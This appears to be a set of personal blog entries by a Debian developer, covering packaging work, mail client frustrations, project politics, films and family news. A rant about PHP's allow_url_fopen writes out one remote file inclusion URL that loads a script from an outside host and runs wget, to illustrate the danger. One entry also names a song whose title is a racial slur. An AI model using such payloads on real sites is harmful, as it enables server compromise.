metakit uploaded - debhelper check; Luther, Scary Movie 3, Polly
Finally managed to get metakit finished. 2.4.9.3 is sitting in NEW for now. For those interested they can fetch it from /debian/metakit/ on my homepage. I am not sure if packaging it makes much sense, though. I picked it up because grub-client (a shared search engine) needed an update, but that package got removed from the pool because upstream doesn't seem to be that interested in the linux version as they are in the windows version; and noone reacted to the segfault problems. The other dependency that needed metakit back then was flightgear, but that doesn't use it anymore neither.
On the other hand, at least two people asked me for an update because of tcl8.4 and python2.3 transition. I am not sure if they just wanted to get rid of tcl8.3 and python2.2 dependencies or are really interested in it, though. I guess I'll have to mail them.
While working on metakit I though noticed why debhelper is a charm. It helps quite well for larger packages which produce different deb files. Especially dh_movefiles is interesting (although I already have been told that dh_install is the successor, so no need to mail me on that part ;)). I still prefer doing my own debian/rules file because I want to know what is going on. I think it is worthwhile to do it because I guess you tend to lose grip with the policy if you depend on debhelper too much. Someone told me that own written debian/rules file are hard to maintain; but I like to disagree. You can't do a general statement on that. I have seen a horrible debian/rules file and I am quite confident that my own written one isn't any problem. At least it keeps me tracking the policy, which I am quite sure not every other Debian Developer does...
Like I said, I watched "Luther" on monday. Although I consider it to be done quite terse it was really worth it. And I was wrong, it wasn't the latest work staring Sir Peter Ustinov, it was the last....
Yesterday we watched "Scary Movie 3" and "Along Came Polly". The former was quite funny, although I remember to have laughed more on the latter. The ferret was the most intersting role in it :)
He died yesterday evening. I adored him in his playes, and always looked forward to interviews with him. I guess I actually have to watch Luther, the latest work staring him...
Thanks, Omnic, this was what I really needed. A nice sweet game with no complicated rules and all I need to do is ... nothing! Great! /me cheers (oops, penalty) I'm looking forward to my first fight.
I had to do my own contribution to the latest geek fad. Try it yerself, be creative, let your mind flow. Join teh fun!
Dear Algernon, I can just say one thing: Yummie Yamm, feeling hungry already... Still what I said holds: Power should be given to those who don't want it, because those are the ones who less likely will misuse it.
Dear Steve, thanks for that great diary entry. It made me feel like in the good ol' days on my dear c64. The times when I started to insert hex codes in some editor (although they had parity bytes, too) from some magazine to see the latest sweet games. The times when I read text like that directly without having to insert it in bvi like nowadays. Boy, it is strange how easily you lose the touch when you don't need it on an almost daily basis for your assembler work...
I always adored clawfinger. They simply rock. And their lyrics are great, too. Some people even told me (long ago) that I look like Zak Tell. Nigger was their first big hit and it is still true.
Why do I write this now? Because some recent happenings made me remind one of their songs again that do fit the situation quite well: "Power to the one who doesn't want it". Sorry, Algernon, I can't do other but vote you for best fit for the DPL job.
Don't ask me if you don't want accurate translations...
Dear Branden!
You wanted to discuss it public, so I follow your advice. I thought you wanted to discuss it seriously, but I was wrong. I thought you were longing for accurate translations of your platform, but you seem to were longing for an interpretation of what you might have meant but not written. You showed me two people that don't see "evangelize" as religious. And you showed me two people that do consider the German translation into "missionieren" as something religios (but one saw it not too unfitting here, too). And you showed me that you didn't want to have discussed it seriously but want to have me mobbed.
I am quite confident that it isn't too hard to find native english speakers who do see the origin of the english word evangelize. And I do know that missionieren is used quite regularly in the German Linux community without any religios things in mind. You don't buy that reason, fine. But the next time when you want to have something translated don't come to me if you are not longing for an accurate translation but for an interpretation that might fit your needs....
The Fallen
Given up, on something, perhaps on life, on
themselves, on society, on a project... allowed
failure to overwhelm their senses and allowed
apathy to sink in to dull the pain.
I never thought that one's current mood could be catched that closely by a test, I am really petrified....
Today my grandma died. I know that her almost 92 years were quite much and that it got harder for her from week to week. Fortunately for her from what I've heard yet she didn't have much ache and it happened quite fast. My father came in shortly before and told me that she is to be dying, that he talked to her in the morning but doesn't recognize her anymore and that the nurses sent him off (she was at home at least). An hour later he called and told us that she died now....
Like said, she was quite old already. Still, it hurts when you lose some of your own.... I am not sure what I will do in the next time. Work harder to fight the pain, be more depressed (More? Hey, you can't get more depressed!) and lose grip, or something completely different.... Only time can tell.
Only Total Geek, Quilting, working on metakit update
While I had to sit in our server center because of an air condition breakage I found the time to finally do the geek test that Amaya mentioned lately again. Finished with 28.40237% - Total Geek. Interesting.
Helped my wife with her latest quilting. It will be for the 60th birthday of her aunt. Did help her with ironing the different pieces so she can concentrate on sawing the pieces together. We will put a picture online when its finished.
This is the reason why we are driving to Bonn in April. 7th to 14th namely. I don't know about our schedule and what our family has planed so I can't tell yet when I will have the time for meeting for keysigning, sorry.
Started on an update for metakit because of the new upstream release. This update Closes: #218240, #210635 hopefully. Having some small problems with respect to the libtool handling of -rpath and -release but I hope I can resolve that soon. I guess David N. Welton will appreciate this effort, he offered to do an NMU but doesn't seem to have found the time yet to actually do address both of them. :)
Yes, I know I will be flamed back, but php sucks. At least the default setting of "allow_url_fopen = On" sucks big time. Sometimes you must give users the permission to use their own php scripts. Sometimes they will do silly things like "include ("$Content.php")" and think it is a good thing for building a CMS. Eventually some script kiddies will find it out and use "foo.php?Content=http://www.campoeng.org/x.txt?&cmd=wget" and the like. And if you don't notice some dal.net#mandar inhabitants will come along and use their eggdrop on your host... Sometimes I really think maxx is correct with the akronym People Have Problems.
Have been to cinema again yesterday: This time it has been "The Rundown / Welcome to the Jungle" and Something's Gotta Give". While the former was good action with Seann William Scott in his best role: a silly annoying guy, the latter was a quite funny and intersting story. Diane Keaton was really a hit. Keanu Reeves was a little bit flat, but he is nice looking, shouldn't that be enough?
To Shape Teh Future! Wesnoth 0.6.99.5 is out. Like you can see in that announcement (and in #238191) it is a needed update. I have already done an update for backports.org, I have contacted nobse already to have them there, he said he will upload it in the evening (which should happen within the next 8 hours or such, depending on how he defines evening :)). In the meantime you can grab them from wesnoth.debian.net.
If you are wondering about the version that is running there and why I haven't updated it yet: It is there on intention. So you have a meeting place if you want to stick with the version in testing. If you want to play the version in unstable be redirected to meet at devsrv.wesnoth.org. I will update the server version on wesnoth.debian.net as soon as a new version hit testing.
Played a little with my blog, its design fits now into the rest of my website. I will work a little bit more with it so it works well with the WML design of the rest of my page which should make design changes easy for me in the future. I hope I can straighten it out and start working on my website again...
If you are using the monkeys.com blacklist on your mailservers you should have noticed a vast reduction in mail receiving. I wasn't aware that my mail did run through such a blacklist, unfortunately it was. Otherwise I would have informed my mailadmin earlier about that they "were shut down and discontinued on September 23rd, 2003". This sunday they have turned the discontinued list to return true for every entry like happend on other discontinued lists already and thus all mails were blocked unfortunately.
If you tried to reach me in the last day please consider sending your mail again. I have checked the logfiles and aproximately 80 mails or such were blocked. In whole it were 113 mails but that included already bounced mails with empty from and mails to my Message-Id: strings, which would have bounced anyway, and some other strange sending parts.
Like Adam Kessel wrote in a recent blog entry blosxom can't put things into multiple categories. This is unfortunate but true. But from reading the plugin documentation it should be fairly easy to do it with the entries subroutine and symlinks.
I have thought about it myself already for some time. My thought so far was that it needs a main category to which an entry belongs (in which it gets displayed when you have the root feed), and that I will choose the rest on the timestamp of the symlink, if the plain file isn't below the current directory. I guess this is the thing that I needed to actually start writing it. Stay tuned...
mutt is getting annoying. Still isn't able to be used properly as an imap client, and the gpg handling is also far from optimal. (Ever tried with two keys with different passphrase and had to guess which one to use when decrypting a mail? Why isn't mutt able to display which keyid it wants the passphrase for? Or on sending a message when quering which key to sign the mail it displayes all the public keys in the ring...)
So what are the options? For I am not an emacs users gnus is a no-option. I have heard the latest hype about elmo and etpan. While the former is already packaged it has a major drawback: PGP support is only on the wanna-have list, not on the general todo list, so I have no idea when it will be added. So it ruled out itself for the time being, too. etpan on the other hand isn't packaged yet. It has a debian subdirectory in CVS though, but that is aged like hell on the other hand (not a real problem, I would roll my own debian directory anyway). Just found out that there is already an etpan-ng directory in CVS. One thing that gets me interested is that they are planing to add perl binding, which can be really helpful. Lets see.
Building on my own machine again, DPL vote 2004, Wir sind Helden
Like I said before, I now have some space left on my notebook harddisk again. I took this chance and installed sbuild. Quite interesting thing. Played around a little bit, got annoyed by the disclaimer in /etc/sbuild.conf (why the heck is it lying around in /etc when one isn't allowed to edit it??!), but built the first package with it now. (Or something like that... sbuild wasn't able to find/install one of the build depends although I even have installed it by hand. Did a gochroot and dpkg-buildpackage on my own.) elvis is now up to date again (sponsored package, RC-bug closed) and I also used dpkg-sig this time. Nice thing, too, although the manual page speaks of "sign-as gives the name of the signature (usually builder for builder of the deb, ...)." and nowhere to find out what that "..." could mean.
Another year, another Debian Project Leader vote. This year I thought it would be a good idea to translate the platforms into German, too. Finished it and the translations are now online. I just haven't translated the platform of algernon yet. I am afraid that some tama will sit on me if I do....
Though I think it's kinda interested that some people seem to a) only have translated Branden's platform but not the others — and b) not even commited them to the webwml tree. I personally consider this as somewhat biased and something that shouldn't happen... If you are the author of one of the translations please consider adding it to the webwml cvs tree and also translate the other platforms, in the sense of fairness.
From my first week not hanging around in the various #debian.de IRC channels (or others, fwiw) I can say that it gives me quite some time for other work. I'm still not really convinced that it is a good thing because I know that I helped quite some people, but if that help isn't appreciated it is quite frustrating...
Finally bought a new CD again. Although it isn't that new anymore but it was rather cheap: 10,- € instead of the usual 18,- € nowadays. It is "Die Reklamation" from "Wir sind Helden", a great german band. A remix of their hitsingle "Guten Tag" can be downloaded from their homepage, too. With this in mind: "Guten Tag, guten Tag, ich will mein Leben zurück...".
It does hurt when you get backstabbed. But it makes you think about the things you do. The more you do the more people will dislike what you do. So I took it as a chance to reduce my activities and will concentrate on my main duties instead of trying to help people that doesn't seem to appreciate my help anyway. I guess in the end I will end up with lots more of time for myself, hopefully.
Encountered my first serious hardware problem this weekend. First my screen session broke away, afterwards I was faced with kernel oops over and over again. You lose grip with the world when it happens at the same like the above... Tried to rsync my stuff off the disk onto a different host, but the kernel oops were faster than the sync started. Finally thought about taking out one ram module and finished syncing off and installing memtest86+. The new memory module seems to have serious problems, am back down to 64M of memory again :-/. Guess I have to send it back.
But that made me finally repartition my harddisk. Having quite some space left and I guess I will upgrade to unstable again to do package builds on my own machine. Will ease the testing of them and similar....
Not much done recently. Sorry, pals - I'm not in the mood for anything currently. I am not sure if it matters at all. It's a bit depressing when you only find bugs that are already solved...
Maybe just one thing: We need to start addressing debconf5 soon or it won't happen. I will send a sum up of so far discussed things again to the debian-at list to start brainstorming again. At least I was told that IBM is willing to sponsor the event, so the first steps are already taken. We just still don't know the date yet because we don't know yet when LinuxTag 2005 will happen. Please don't flood my mailbox with inquiries, rather address them to the debian-at list.
Have been to cinema again. First film this time has been "Shanghai Knights". If you like Jackie Chan you will definitely like this film. Yes, it is a sequel to Shanghai Noon".
Second film has been "Honey". The story was quite plain, nothing unexpected, but the dance scenes and the music made up for that.
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